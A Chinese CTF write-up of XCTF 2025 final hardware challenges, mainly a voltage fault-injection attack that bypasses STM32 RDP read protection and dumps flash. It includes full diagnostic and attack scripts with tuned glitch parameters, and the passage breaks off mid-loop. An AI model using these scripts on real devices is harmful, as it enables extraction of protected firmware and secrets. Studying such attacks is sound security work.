2025XCTF final - 部分题目复现及补齐
碎碎念
拖了很久,终于开始着手对去年final的部分赛题进行复现及补齐工作,主要就是rw的两道硬件题和misc的一道0解题。
硬件题当时在比赛中其实已经完成了第一题,算是一个比较简单的签到题,即便我从来没有接触过STM32,也能通过现场搜集资料和工具来完成这道题目,而第二题则相对来说困难一些,存在两种解题思路(由官方github仓库所指出: https://github.com/xuanxuanblingbling/XCTF_2025_FINAL_RW_STM32 ),比赛中我主要集中尝试了故障注入的方法,尽管最后没有做出来(其实是当时有点点懒了,而且没想到可以通过卡比赛规则的方法将设备带回酒店继续打),但是赛后主办方为每一队申请过故障注入设备的队伍提供了一套完整的可用于后续复现的完整题目设备(十分感谢他们提供设备,也十分感谢xuanxuan师傅)
而misc的0解题,其一开始被非预期了,通过直接搜索flag头的base64编码可以在附件中找到flag的base64编码结果,所以后面也是紧急上线了该题的reverse版本,最终也是不负众望的以0解收场(根本不会逆向),而伴随着现今ai科技的飞速发展,我萌生出了利用claude code直接梭哈分析这题的想法,尝试为这道0解题画上一个不算完美的句号,至于结果,既然你能看到这篇文章,就说明cc它做到了)
截止本文章发出,我倒是没搜到别人有发这些题的wp,难道我真是第一个?)
RW
STM32_MorseCode
这题算是一道签到题,还是比较简单的,不过因为是第一次接触,当时在赛场捣鼓了很久,还看漏了一个设备导致卡了很久,最后试出来发现其实挺简单的
首先现场发放了一套硬件设备,里面分别有若干条杜邦线、一个STM32开发板、一个ST-Link调试器、一个USB to TTL转接器,一个逻辑分析仪、一条microusb转usb线
由于本人不是这方面的专家,遂只在此放出解题流程,相对应的原理不做过多阐述
首先在开发板上有一个microusb口,用microusb转usb线接入后,将usb头接入自己的电脑设备

随后用杜邦线分别连接开发板上的a9、a10以及G(GND)口,另一头则是相对应的去链接USB to TTL转接器上的TX、RX和GND口,随后再将其USB头接入电脑设备的另一个USB口中


在自己的电脑中配置好对应的串口驱动和开发板驱动,随后用串口连接工具获取开发板的信息
如果上述配置准确,连接串口后会接收到开发版发出的信息(波特率、数据位等参数默认即可,主要在于串口号别搞错)

他会要求我们通过触发PC13口,构造并传入XCTF的摩斯电码
我们只需要再拿一个杜邦线(需注意其中一头要是裸露的),随后将有插口的一头插入开发板的另一个G口中,然后用裸露的一头去触碰PC13口的,根据触碰的时间长短来构造摩斯码的.和-,
XCTF的摩斯码如下,分四次间隔来传入即可
-..- -.-. - ..-.
成功传入后开发板即会发送UID数据,将UID数据通过手机app的形式录入nfc卡即可


STM32_RDPbypass
首先十分感谢SU联队喵师傅对我的大力帮助,也很感谢xuanxuan师傅及纽创信安公司提供的设备支持
本来当初赛后就打算复现了,硬是拖了这么久,拖到现在ctf已经是全新的赛季全新的时代了,遂结合新时代技术,完成了本次题目的完整复现
根据final赛后晚宴上xuanxuan师傅的介绍,利用故障注入方法绕过RDP保护的具体思路可以参考这篇文章(赛中喵师傅也给我发了):
https://yichen115.github.io/%E6%95%85%E9%9A%9C%E6%A1%88%E4%BE%8B/STM32F1x%20%E7%94%B5%E5%8E%8B%E6%95%85%E9%9A%9C%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%20RDP1%20%E5%9B%BA%E4%BB%B6%E8%AF%BB%E4%BF%9D%E6%8A%A4/#rdp
遂我们这次的复现核心围绕的就是这篇文章
首先我们根据上一题中成功进行串口连接并获取到数据后得到的github仓库
https://github.com/xuanxuanblingbling/XCTF_2025_FINAL_RW_STM32
在仓库中详细介绍(好像也不是那么详细)了故障注入相关的信息以及需要用到的内容:


根据核心参考文章中的内容,我们需要利用powershorter对故障注入专用的开发板进行故障注入操作从而绕过RDP保护,而这就需要powershorter自己特有的库,因而我们需要下载仓库中给出的whl文件,而在脚本参考部分中还有一个名为faultviz的库,也是需要我们自行去gitee里下载whl文件然后安装的(不过这个库应该不是必须的,他主要是用来动态显示故障注入的结果,从而帮助我们快速调整参数)
https://gitee.com/osr-tech/faultviz/releases/tag/v1.0.0

现在就可以正式开始复现
首先需要说一个避雷的点,如果直接按照文章的顺序逐步操作,不小心的话可能会导致将开发板中的flash数据被清空。我复现时按着顺序做,结果到这里因为手快已经点了apply,结果就把rdp关掉了,然后flash数据也没了,所以后续的复现是我自己重新录入的数据然后把rdp重新打开了(我以为这步有用呢没想到只是一个前情提要)

实际上我们需要做的只有最后一步,也就是故障注入绕过STM32
由于我不是硬件相关的专业人员,也没有接触过这方面的知识,所以更多是对文章的参考,以及利用现在强大的ai去帮助我完成的复现,所以这里主要讲述我的复现流程,不过多提及原理
首先需要按照文章中的这个线路图,对powershorter,串口小板(usb to ttl)以及stm32故障开发板进行正确的链接,大部分线路都是很显而易见的,唯独GND以及pa10接tx和tri这里我觉得有必要进行一点讲解

首先可以说的是图片是正确的,三者的gnd必须接到一块,而我手中都是1pin单口的杜邦线,最后的解决方案是,将串口小板的gnd口连接powershorter的gnd口,再将开发板的gnd口连接powershorter的gnd口(因为powershorter共有四个gnd口),这样就算是将三者的gnd接到了一块
而a10这里就比较麻烦,a10,tx以及e1-tri都各只有一个引脚,如果通过1pin杜邦线根本没办法将他们很好的连接起来(至少我做不到),我最后的解决办法是,先将a10的引脚和tx引脚通过双母头杜邦线相连,然后在a10的背面,还存在一个凸起的金属点,我再用另一条母头杜邦线将e1-tri口和这个金属点相接,最终形成这样的三口互联的情况(上面的红圈连的是tx,下面的红圈连的是e1-tri)

接线顺利完成后,即可进入最后的脚本攻击阶段
文章中给出的攻击脚本是没办法直接拿来用在我们的设备上的,需要进行调试,实际上这里应该还需要接入逻辑分析仪来观察故障注入的情况,但由于接线实在是太乱了我就没再接了,直接利用claude code进行辅助分析处理
最开始让它给我写了俩脚本来确认了我的接线是否正常:
diagnose.py
"""
STM32 故障注入 - 硬件接线诊断脚本
用于排查 PowerShorter + STM32 接线是否正确
检查项:
1. PowerShorter 设备连接
2. GPIO 供电控制(上电/断电)
3. UART 串口通信
4. Bootloader 同步(0x7F -> 0x79)
5. RDP 状态确认(0x11 -> 0x1F 表示 RDP 已开启)
"""
from power_shorter import *
import time
import serial
import sys
# ─────────────────────────────────────────────
# 配置区:按你的实际环境修改
# ─────────────────────────────────────────────
PS_PORT = "com4" # PowerShorter 串口
UART_PORT = "com5" # STM32 UART 串口(串口小板)
UART_BAUD = 115200
# ─────────────────────────────────────────────
def banner(msg):
print(f"\n{'='*50}")
print(f" {msg}")
print(f"{'='*50}")
def test_powershorter():
"""测试1: PowerShorter 设备连接"""
banner("测试1: PowerShorter 设备连接")
try:
ps_dev = PowerShorter(PS_PORT)
print(f"[OK] PowerShorter 在 {PS_PORT} 连接成功")
return ps_dev
except Exception as e:
print(f"[FAIL] PowerShorter 连接失败: {e}")
print(f" -> 请检查:")
print(f" 1. PowerShorter 是否已连接电脑")
print(f" 2. 串口号 {PS_PORT} 是否正确(设备管理器查看)")
print(f" 3. 驱动是否已安装")
return None
def test_gpio_power(ps_dev):
"""测试2: GPIO 供电控制"""
banner("测试2: GPIO 供电控制")
try:
print("[*] 断电 (GPIO1 -> 0)...")
ps_dev.gpio(GPIO.GPIO1, 0)
time.sleep(0.5)
print("[OK] 断电指令已发送")
print("[*] 上电 (GPIO1 -> 1)...")
ps_dev.gpio(GPIO.GPIO1, 1)
time.sleep(0.5)
print("[OK] 上电指令已发送")
print()
print("[?] 请肉眼确认:")
print(" - STM32 板上 LED 是否在断电时熄灭、上电时亮起?")
print(" - 如果 LED 始终亮着 -> GPIO1 没有接到 STM32 的 VDD")
print(" - 如果 LED 始终灭 -> 可能接线断路或 GPIO 编号不对")
return True
except Exception as e:
print(f"[FAIL] GPIO 控制失败: {e}")
return False
def test_uart():
"""测试3: UART 串口连接"""
banner("测试3: UART 串口连接")
try:
uart = serial.Serial(
UART_PORT,
UART_BAUD,
parity=serial.PARITY_EVEN,
timeout=0.5
)
print(f"[OK] 串口 {UART_PORT} 打开成功 (115200, 偶校验)")
return uart
except Exception as e:
print(f"[FAIL] 串口打开失败: {e}")
print(f" -> 请检查:")
print(f" 1. 串口小板是否已连接电脑")
print(f" 2. 串口号 {UART_PORT} 是否正确")
print(f" 3. 串口是否被其他程序占用")
return None
def test_bootloader_sync(ps_dev, uart):
"""测试4: Bootloader 同步"""
banner("测试4: Bootloader 同步 (0x7F)")
# 先重新上电,确保干净状态
print("[*] 执行上电重置...")
ps_dev.gpio(GPIO.GPIO1, 0)
time.sleep(0.3)
ps_dev.gpio(GPIO.GPIO1, 1)
time.sleep(0.3)
uart.reset_input_buffer()
uart.reset_output_buffer()
print("[*] 发送同步字节 0x7F...")
uart.write(b'\x7f')
time.sleep(0.1)
resp = uart.read(uart.in_waiting or 1)
resp_hex = resp.hex() if resp else "(空)"
print(f"[*] 收到响应: {resp_hex} ({len(resp)} 字节)")
if resp == b'\x79':
print("[OK] Bootloader 同步成功! (ACK=0x79)")
print(" -> UART 接线正确, BOOT0=1 配置正确")
return True
elif resp == b'\x1f':
print("[WARN] 收到 NACK (0x1F)")
print(" -> Bootloader 有响应但拒绝了,可能需要先重启")
return True # 至少有通信
elif not resp:
print("[FAIL] 无响应!")
print(" -> 请检查:")
print(" 1. BOOT0 跳线帽是否接到 1")
print(" 2. BOOT1 跳线帽是否接到 0")
print(" 3. STM32 的 PA9(TX) 是否接到串口小板的 RX")
print(" 4. STM32 的 PA10(RX) 是否接到串口小板的 TX")
print(" 5. STM32 和串口小板的 GND 是否连接")
print(" 6. STM32 是否已上电(LED是否亮)")
return False
else:
print(f"[WARN] 收到意外响应: {resp_hex}")
print(" -> 有通信但响应异常,检查波特率/校验设置")
return False
def test_rdp_status(ps_dev, uart):
"""测试5: RDP 状态确认"""
banner("测试5: RDP 状态确认 (发送 0x11 Read Memory)")
# 重新上电+同步
ps_dev.gpio(GPIO.GPIO1, 0)
time.sleep(0.3)
ps_dev.gpio(GPIO.GPIO1, 1)
time.sleep(0.3)
uart.reset_input_buffer()
uart.write(b'\x7f')
sync_resp = uart.read(1)
sync_hex = sync_resp.hex() if sync_resp else "(空)"
print(f"[*] 同步响应: {sync_hex}")
if sync_resp != b'\x79':
print("[FAIL] 同步失败,无法继续测试 RDP 状态")
return None
# 发送 Read Memory 命令 (不注入故障)
print("[*] 发送 Read Memory 命令 (0x11 0xEE),不注入故障...")
uart.write(b'\x11\xee')
rdp_resp = uart.read(1)
rdp_hex = rdp_resp.hex() if rdp_resp else "(空)"
print(f"[*] Read Memory 响应: {rdp_hex}")
if rdp_resp == b'\x1f':
print("[OK] 收到 NACK (0x1F) -> RDP 已开启! 这是预期的")
print(" -> 需要故障注入才能绕过此保护")
return "RDP_ON"
elif rdp_resp == b'\x79':
print("[!] 收到 ACK (0x79) -> RDP 未开启!")
print(" -> 不需要故障注入,可以直接读取 Flash")
# 尝试直接读取
addr = (0x08000000).to_bytes(4, "big")
checksum = 0
for b in addr:
checksum ^= b
uart.write(addr + bytes([checksum]))
uart.read(1) # addr ack
uart.write(b'\xff\x00') # read 256 bytes
flash = uart.read(257)
if flash:
print(f" Flash 数据 (前32字节): {flash[:32].hex()}")
return "RDP_OFF"
elif not rdp_resp:
print("[FAIL] 无响应")
return None
else:
print(f"[WARN] 意外响应: {rdp_hex}")
return None
def test_glitch_engine(ps_dev, uart):
"""测试6: 毛刺引擎基本功能"""
banner("测试6: 毛刺引擎配置测试")
try:
ps_dev.engine_cfg(
Engine.E1,
[(0, 1000), (1, 20), (0, 1)],
TRIGGER_MODE.RISE,
1,
6
)
print("[OK] engine_cfg 配置成功")
ps_dev.arm(Engine.E1)
print("[OK] arm() 调用成功")
print("[*] 毛刺引擎工作正常")
return True
except Exception as e:
print(f"[FAIL] 毛刺引擎错误: {e}")
return False
def main():
print("=" * 50)
print(" STM32 故障注入 - 硬件诊断工具")
print("=" * 50)
print(f" PowerShorter: {PS_PORT}")
print(f" UART: {UART_PORT} @ {UART_BAUD}")
print()
results = {}
# 测试1: PowerShorter
ps_dev = test_powershorter()
results["PowerShorter连接"] = ps_dev is not None
if not ps_dev:
print("\n[!] PowerShorter 连接失败,无法继续后续测试")
print_summary(results)
return
# 测试2: GPIO
results["GPIO供电控制"] = test_gpio_power(ps_dev)
# 测试3: UART
uart = test_uart()
results["UART串口"] = uart is not None
if not uart:
print("\n[!] UART 打开失败,无法继续后续测试")
print_summary(results)
return
# 测试4: Bootloader sync
results["Bootloader同步"] = test_bootloader_sync(ps_dev, uart)
# 测试5: RDP status
rdp = test_rdp_status(ps_dev, uart)
results["RDP状态"] = rdp
# 测试6: Glitch engine
results["毛刺引擎"] = test_glitch_engine(ps_dev, uart)
# 汇总
print_summary(results)
uart.close()
def print_summary(results):
banner("诊断汇总")
all_ok = True
for name, status in results.items():
if status is True or status in ("RDP_ON", "RDP_OFF"):
icon = "[PASS]"
elif status is False or status is None:
icon = "[FAIL]"
all_ok = False
else:
icon = "[????]"
print(f" {icon} {name}: {status}")
print()
if all_ok:
print("[*] 硬件接线正常! 问题大概率出在攻击脚本参数上")
print(" -> 请运行修复后的攻击脚本 attack_fixed.py")
else:
print("[!] 存在硬件/接线问题,请先修复后再尝试攻击")
print()
print("接线参考:")
print(" 串口小板 STM32")
print(" -------- ------")
print(" 3V3 --> (不接! 用 PowerShorter 供电)")
print(" GND --> GND")
print(" TXD --> PA10 (RX)")
print(" RXD --> PA9 (TX)")
print()
print(" PowerShorter STM32")
print(" ------------ ------")
print(" GPIO1 OUT --> 3.3V / VDD")
print(" GLITCH OUT --> VDD (同一个供电点)")
print(" GND --> GND")
print()
print(" STM32 跳线帽:")
print(" BOOT0 = 1")
print(" BOOT1 = 0")
print()
print(" 注意: 必须去除 STM32 开发板 VDD 附近的去耦电容!")
if __name__ == "__main__":
main()
diagnose_trigger.py
"""
STM32 故障注入 - 触发/毛刺输出 精确诊断
诊断核心问题: 500次攻击全是 NACK, 零次无响应/异常
→ 毛刺可能根本没有触发
检查项:
1. arm() 后发送 UART 数据,检查引擎是否被触发 (armed → glitched)
2. soft_trigger() 软件强制触发,检查毛刺输出是否影响 MCU
3. 如果硬件触发失败但软触发成功 → 说明 Trigger 引脚没有接到 UART TX 线
"""
from power_shorter import *
import time
import serial
PS_PORT = "com4"
UART_PORT = "com5"
UART_BAUD = 115200
def banner(msg):
print(f"\n{'='*60}", flush=True)
print(f" {msg}", flush=True)
print(f"{'='*60}", flush=True)
def main():
print("PowerShorter + STM32 触发诊断", flush=True)
print("=" * 60, flush=True)
ps_dev = PowerShorter(PS_PORT)
uart = serial.Serial(UART_PORT, UART_BAUD, parity=serial.PARITY_EVEN, timeout=0.5)
# ──────────────────────────────────────────────
# 测试 A: 硬件触发是否工作
# ──────────────────────────────────────────────
banner("测试 A: 硬件触发 (arm -> UART -> check state)")
# 上电
ps_dev.gpio(GPIO.GPIO1, 0)
time.sleep(0.3)
ps_dev.gpio(GPIO.GPIO1, 1)
time.sleep(0.3)
# 同步
uart.reset_input_buffer()
uart.write(b'\x7f')
sync = uart.read(1)
print(f" 同步: {sync.hex() if sync else '无响应'}", flush=True)
# 配置引擎 (用较安全的参数: 长延迟,短脉冲)
ps_dev.engine_cfg(
Engine.E1,
[(0, 1000), (1, 20), (0, 1)],
TRIGGER_MODE.RISE,
1,
6
)
# 检查 arm 前的状态
try:
state_before = ps_dev.state(Engine.E1)
print(f" arm前状态: {state_before}", flush=True)
except Exception as e:
print(f" arm前状态查询异常: {e}", flush=True)
# arm
ps_dev.arm(Engine.E1)
print(" 已 arm()", flush=True)
# 检查 arm 后的状态 (应该是 "armed")
try:
state_armed = ps_dev.state(Engine.E1)
print(f" arm后状态: {state_armed}", flush=True)
except Exception as e:
print(f" arm后状态查询异常: {e}", flush=True)
# 发送 0x11 0xEE (产生 6 个上升沿)
uart.write(b'\x11\xee')
res = uart.read(1)
print(f" 0x11 响应: {res.hex() if res else '无'}", flush=True)
# 等一小段时间让毛刺完成
time.sleep(0.1)
# 检查触发后的状态 (应该是 "glitched")
try:
state_after = ps_dev.state(Engine.E1)
print(f" 发送后状态: {state_after}", flush=True)
except Exception as e:
print(f" 发送后状态查询异常: {e}", flush=True)
state_after = "error"
if state_after == "glitched":
print("\n [OK] 硬件触发正常! 引擎成功被 UART 上升沿触发", flush=True)
print(" → 毛刺已经打出,但参数可能需要调整", flush=True)
elif state_after == "armed":
print("\n [FAIL] 硬件触发失败! 引擎仍处于 armed 状态", flush=True)
print(" → 引擎没有检测到上升沿!", flush=True)
print(" → 原因: PowerShorter 的 TRIGGER 输入引脚", flush=True)
print(" 没有连接到 UART TX 信号线!", flush=True)
print("", flush=True)
print(" 修复方法:", flush=True)
print(" 将 PowerShorter 的 TRIGGER IN 引脚", flush=True)
print(" 连接到串口小板的 TX 线 (即 STM32 PA10/RX 方向的信号线)", flush=True)
else:
print(f"\n [?] 状态异常: {state_after}", flush=True)
# ──────────────────────────────────────────────
# 测试 B: 软件触发 (验证毛刺输出通道是否接好)
# ──────────────────────────────────────────────
banner("测试 B: 软件触发 (soft_trigger)")
# 重新上电
ps_dev.gpio(GPIO.GPIO1, 0)
time.sleep(0.3)
ps_dev.gpio(GPIO.GPIO1, 1)
time.sleep(0.3)
# 同步
uart.reset_input_buffer()
uart.write(b'\x7f')
sync2 = uart.read(1)
print(f" 同步: {sync2.hex() if sync2 else '无响应'}", flush=True)
if sync2 != b'\x79':
print(" [FAIL] 同步失败,跳过软触发测试", flush=True)
uart.close()
return
# 配置较强的毛刺 (长脉冲)
ps_dev.engine_cfg(
Engine.E1,
[(0, 100), (1, 50), (0, 1)], # 短延迟 1μs, 脉冲 500ns
TRIGGER_MODE.RISE,
1,
1 # 单个边沿即触发 (但我们用 soft_trigger 所以无所谓)
)
ps_dev.arm(Engine.E1)
print(" 已 arm()", flush=True)
# 软件触发!
ps_dev.soft_trigger(Engine.E1)
print(" 已 soft_trigger()!", flush=True)
time.sleep(0.05)
try:
state_soft = ps_dev.state(Engine.E1)
print(f" 软触发后状态: {state_soft}", flush=True)
except Exception as e:
print(f" 状态查询异常: {e}", flush=True)
state_soft = "error"
# 发送 0x11 看看 MCU 是否还活着
uart.reset_input_buffer()
uart.write(b'\x11\xee')
res2 = uart.read(1)
print(f" 0x11 响应: {res2.hex() if res2 else '无响应'}", flush=True)
if not res2:
print("\n [INFO] 软触发后 MCU 无响应 → 毛刺输出有效!", flush=True)
print(" → GLITCH 输出已连接到 VDD,且能影响 MCU", flush=True)
print(" → 问题仅在于硬件触发引脚没接", flush=True)
elif res2 == b'\x1f':
print("\n [INFO] 软触发后 MCU 正常 NACK → 毛刺可能没打到位", flush=True)
print(" → 检查 GLITCH 输出是否接到 STM32 VDD", flush=True)
print(" → 检查 VDD 附近的去耦电容是否已去除", flush=True)
elif res2 == b'\x79':
print("\n [!!!] 软触发绕过了 RDP!!! → 毛刺参数有效!", flush=True)
# ──────────────────────────────────────────────
# 测试 C: 用软触发 + 精确时序尝试攻击
# ──────────────────────────────────────────────
banner("测试 C: 软触发快速攻击 (10次)")
success = False
for i in range(10):
ps_dev.gpio(GPIO.GPIO1, 0)
time.sleep(0.3)
ps_dev.gpio(GPIO.GPIO1, 1)
time.sleep(0.3)
uart.reset_input_buffer()
uart.write(b'\x7f')
s = uart.read(1)
if s != b'\x79':
print(f" [{i+1}] 同步失败", flush=True)
continue
delay = 1000
pulse = 20
ps_dev.engine_cfg(
Engine.E1,
[(0, delay), (1, pulse), (0, 1)],
TRIGGER_MODE.RISE,
1,
1
)
ps_dev.arm(Engine.E1)
# 发送 read memory 命令
uart.write(b'\x11\xee')
# 紧接着软触发! (模拟硬件触发)
ps_dev.soft_trigger(Engine.E1)
res = uart.read(1)
res_hex = res.hex() if res else "无"
print(f" [{i+1}] d={delay} p={pulse} -> {res_hex}", flush=True)
if res == b'\x79':
print(f"\n [!!!] 软触发成功绕过 RDP!!!", flush=True)
success = True
break
# ──────────────────────────────────────────────
# 总结
# ──────────────────────────────────────────────
banner("诊断总结")
print(" 硬件触发状态测试:", flush=True)
if state_after == "glitched":
print(" [OK] Trigger 引脚已连接,硬件触发正常", flush=True)
else:
print(" [FAIL] Trigger 引脚未连接!", flush=True)
print("", flush=True)
print(" ┌─────────────────────────────────────────────┐", flush=True)
print(" │ 接线修复: │", flush=True)
print(" │ │", flush=True)
print(" │ PowerShorter TRIGGER IN ──→ 串口小板 TX │", flush=True)
print(" │ (检测 UART 上升沿) (发往 PA10) │", flush=True)
print(" │ │", flush=True)
print(" │ 即: 把串口小板发送到 STM32 的那根 TX 线 │", flush=True)
print(" │ 也分一根出来接到 PowerShorter 的 Trigger │", flush=True)
print(" └─────────────────────────────────────────────┘", flush=True)
uart.close()
if __name__ == "__main__":
main()
如果两个脚本运行后都输出正常,那么理论上就可以进入攻击阶段
这边由于我本人也不太懂具体的操作,所以让claude code直接代理分析,并进行脚本优化,经过12+版本的调试,最终得到了稳定的攻击成功脚本
这里放上一部分claude code写的原理及探索过程
攻击原理
电压故障注入 (VFI):在 CPU 执行 RDP 检查代码期间,通过短暂拉低 VDD 电压(制造约 100ns 的电压跌落),使得 CPU 可能:
- 跳过条件判断(NOP slide 效应)
- 错误地将 RDP 状态判断为未启用
- 直接执行"读取许可"路径
触发时机: PowerShorter 监听 TX 引脚(TRIGGER),当检测到 UART 上升沿时,等待 delay × 10ns,然后输出 pulse × 10ns 宽度的毛刺。命令 0x11 0xEE 在 TX 引脚会产生 6 个上升沿,配置 edges=6 让毛刺在最后一个上升沿后触发(此时 bootloader 正在处理命令并执行 RDP 检查)。
解题过程
Phase 1: 探索与参数摸索 (v2-v6)
初始参数范围较广(delay 200-1500, pulse 5-20),用于探索响应分布:
| 响应类型 | 含义 | 比例 |
|---|---|---|
| 0x1F (NACK) | RDP 检查通过,正常拒绝 | ~50% |
| 0xFE/0xFF/0xFC 等 | UART 传输被毛刺干扰 | ~35% |
| 无响应 | MCU 崩溃 | ~5% |
| 0x79 (ACK) | 疑似绕过 | <1% |
v5 首次出现 0x79:d=898 p=10,但后续 addr_ack 返回 0x0B(损坏),只读到 16 字节非 Flash 数据。
Phase 2: 识别假阳性 (v7-v9)
关键发现: 0x1F(00011111)被毛刺损坏后可能变成 0x79(01111001)——两者差 4 bit,在电压不稳时完全可能发生位翻转。
真正的 RDP 绕过必须同时满足:
cmd_ack == 0x79(命令 ACK)addr_ack == 0x79(地址 ACK)
之前看到的 "0x79" 都是假阳性(被毛刺损坏的 NACK),addr_ack 仍然是 0x1F,RDP 并未被绕过。
Phase 3: 系统性扫描 + 盲发地址策略 (v10-v11)
盲发地址技巧: 无论 cmd 响应是什么(0x79 / 0x1F / 异常字节),都立即发送地址,检查 addr_ack 是否为 0x79。
理由:
- 毛刺可能使 MCU 绕过 RDP,但同时损坏了 cmd 响应的 UART 传输
- 即使 cmd 响应看起来不对,MCU 内部可能已经处于"允许读取"状态
- 盲发地址没有额外成本,最多浪费 1 次读操作
v11 进行系统性扫描(delay 100-2000 步进 10,每步 3 次),同时启用盲发地址。
Phase 4: 精准攻击 + 成功 (attack_final / attack_final2)
基于 v11 找到的有效区间,精确到:
- delay: 950-1250(对应 9.5μs - 12.5μs)
- pulse: 10-14(对应 100ns - 140ns)
增加验证逻辑:size_ack == 0x79 且数据长度 ≥ 32 字节且非全 0xFF/0x00,才算真正成功。
第 131 次尝试成功(历时 52.7 秒):
delay=1067 (10.67μs), pulse=10 (100ns)
cmd → anomaly(0xFE) → 盲发地址 → addr_ack=0x79 → size_ack=0x79 → 读到 256 字节
最终的攻击脚本如下,需要说明的是,故障注入本身就是一种碰运气的打法(就是概率成功)所以每次运行的时间都不能绝对的保证,有时候可能一下就打对了,有时候可能要打上几百轮
"""
STM32 VFI - Final v2
v11 成功: d=1106 p=14, 完整 256 字节 XCTF flag
final v1 问题: pulse 15-18 crash MCU(no_resp 50%), 假阳性(addr=0x79 但后续失败)
优化:
1. pulse 收窄 10-14 (去掉 15-18 的 crash 区)
2. 验证: size_ack=0x79 且 data>=256 字节才算真正成功
3. 假阳性时不停, 继续攻击
4. bypass 后尝试不带毛刺的重读
"""
from power_shorter import *
import time
import serial
import random
PS_PORT = "com4"
UART_PORT = "com5"
UART_BAUD = 115200
FLASH_BASE = 0x08000000
BLOCK_SIZE = 0xFF
# 精准参数 (d=1106 p=14 附近)
DELAY_MIN = 950
DELAY_MAX = 1250
PULSE_MIN = 10
PULSE_MAX = 14
POWER_OFF_T = 0.15
BOOT_T = 0.20
MAX_ATTEMPTS = 10000
LOG_FILE = None
def log(msg):
print(msg, flush=True)
if LOG_FILE:
LOG_FILE.write(msg + "\n")
LOG_FILE.flush()
def gen_addr(addr: int) -> bytes:
b = addr.to_bytes(4, "big")
return b + bytes([b[0] ^ b[1] ^ b[2] ^ b[3]])
def show_hexdump(data, base_addr):
for off in range(0, len(data), 16):
chunk = data[off:off+16]
hexpart = ' '.join(f'{b:02x}' for b in chunk)
ascpart = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
log(f" 0x{base_addr+off:08X}: {hexpart:<48s} |{ascpart}|")
def try_read_full(s, tag=""):
"""
在 addr_ack=0x79 之后完成 flash 读取
返回 (data_bytes, success_bool)
"""
# 发 size
s.write(bytes([BLOCK_SIZE, BLOCK_SIZE ^ 0xFF]))
size_ack = s.read(1)
if size_ack != b'\x79':
log(f" {tag} size ACK: 0x{size_ack.hex() if size_ack else 'none'} [fail]")
return None, False
log(f" {tag} size ACK: 0x79 [OK]")
# 读数据
old_t = s.timeout
s.timeout = 2.0
data = s.read(BLOCK_SIZE + 1) # 256 bytes
s.timeout = old_t
if not data or len(data) < 32:
log(f" {tag} data: only {len(data) if data else 0} bytes [fail]")
return data, False
# 检查数据质量: 不能全 0x00 或全 0xFF
unique = set(data)
if len(unique) <= 2 and (unique <= {0x00, 0xFF}):
log(f" {tag} data: {len(data)} bytes but all zeros/ff [suspicious]")
return data, False
return data, True
def main():
global LOG_FILE
LOG_FILE = open("attack_final2_log.txt", "w", encoding="utf-8")
log("=" * 60)
log(" STM32 VFI - Final v2 (Precision)")
log("=" * 60)
log(f" Target: 0x{FLASH_BASE:08X}")
log(f" Delay: {DELAY_MIN}-{DELAY_MAX}")
log(f" Pulse: {PULSE_MIN}-{PULSE_MAX}")
log(f" Max: {MAX_ATTEMPTS}")
log("")
ps_dev = PowerShorter(PS_PORT)
s = serial.Serial(UART_PORT, UART_BAUD, parity=serial.PARITY_EVEN, timeout=0.5)
cnt = {"nack": 0, "anom": 0, "nr": 0, "sf": 0, "bypass": 0, "full": 0}
start = time.time()
for i in range(1, MAX_ATTEMPTS + 1):
delay = random.randint(DELAY_MIN, DELAY_MAX)
pulse = random.randint(PULSE_MIN, PULSE_MAX)
# 断电重启
ps_dev.gpio(GPIO.GPIO1, 0)
time.sleep(POWER_OFF_T)
ps_dev.gpio(GPIO.GPIO1, 1)
time.sleep(BOOT_T)
# 配置引擎
ps_dev.engine_cfg(
Engine.E1,
[(0, delay), (1, pulse), (0, 1)],
TRIGGER_MODE.RISE, 1, 6
)
# 同步
s.reset_input_buffer()
s.write(b'\x7f')
sync = s.read(1)
if sync != b'\x79':
cnt["sf"] += 1
continue
# arm → 发命令 (触发毛刺)
ps_dev.arm(Engine.E1)
s.write(b'\x11\xee')
cmd = s.read(1)
if not cmd:
cnt["nr"] += 1
tag = "nr"
elif cmd == b'\x1f':
cnt["nack"] += 1
tag = "nack"
else:
if cmd != b'\x79':
cnt["anom"] += 1
tag = f"0x{cmd.hex()}"
# ── 核心: 无论 cmd 响应, 都盲发地址 ──
s.write(gen_addr(FLASH_BASE))
addr_ack = s.read(1)
if addr_ack == b'\x79':
cnt["bypass"] += 1
log(f"\n [{i}] BYPASS! d={delay} p={pulse} cmd={tag} → addr=0x79")
# 尝试读取 flash
data, ok = try_read_full(s, f"[{i}]")
if ok and data:
cnt["full"] += 1
log(f"\n{'='*60}")
log(f" [!!!] COMPLETE FLASH DUMP at #{i}")
log(f" delay={delay}, pulse={pulse}")
log(f"{'='*60}")
show_hexdump(data, FLASH_BASE)
# ASCII 提取
printable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data)
log(f"\n ASCII: {printable}")
with open("flash_dump_final.bin", "wb") as f:
f.write(data)
log(f" Saved {len(data)} bytes to flash_dump_final.bin")
# 尝试继续读更多块
all_data = bytearray(data)
addr = FLASH_BASE + len(data)
for _ in range(15): # 最多再读 15 块
s.write(gen_addr(addr))
a = s.read(1)
if a != b'\x79':
break
s.write(bytes([BLOCK_SIZE, BLOCK_SIZE ^ 0xFF]))
sa = s.read(1)
if sa != b'\x79':
break
s.timeout = 2.0
extra = s.read(BLOCK_SIZE + 1)
s.timeout = 0.5
if not extra:
break
all_data.extend(extra)
addr += len(extra)
if all(b == 0xFF for b in extra):
break
if len(all_data) > len(data):
with open("flash_dump_full.bin", "wb") as f:
f.write(all_data)
log(f" Extended dump: {len(all_data)} bytes → flash_dump_full.bin")
elapsed = time.time() - start
log(f"\n Completed in {i} attempts, {elapsed:.1f}s")
break
else:
log(f" Bypass but read failed, continuing...")
# 尝试: 不带毛刺重新读一次
s.reset_input_buffer()
s.write(b'\x7f')
rs = s.read(1)
if rs == b'\x79':
s.write(b'\x11\xee')
rc = s.read(1)
log(f" Clean retry: sync=0x79, cmd=0x{rc.hex() if rc else 'none'}")
if rc == b'\x79':
s.write(gen_addr(FLASH_BASE))
ra = s.read(1)
if ra == b'\x79':
data2, ok2 = try_read_full(s, "clean")
if ok2 and data2:
cnt["full"] += 1
log(f"\n [!!!] CLEAN READ SUCCESS!")
show_hexdump(data2, FLASH_BASE)
with open("flash_dump_final.bin", "wb") as f:
f.write(data2)
break
# 进度
if i <= 10 or i % 200 == 0:
e = time.time() - start
r = i / e if e > 0 else 0
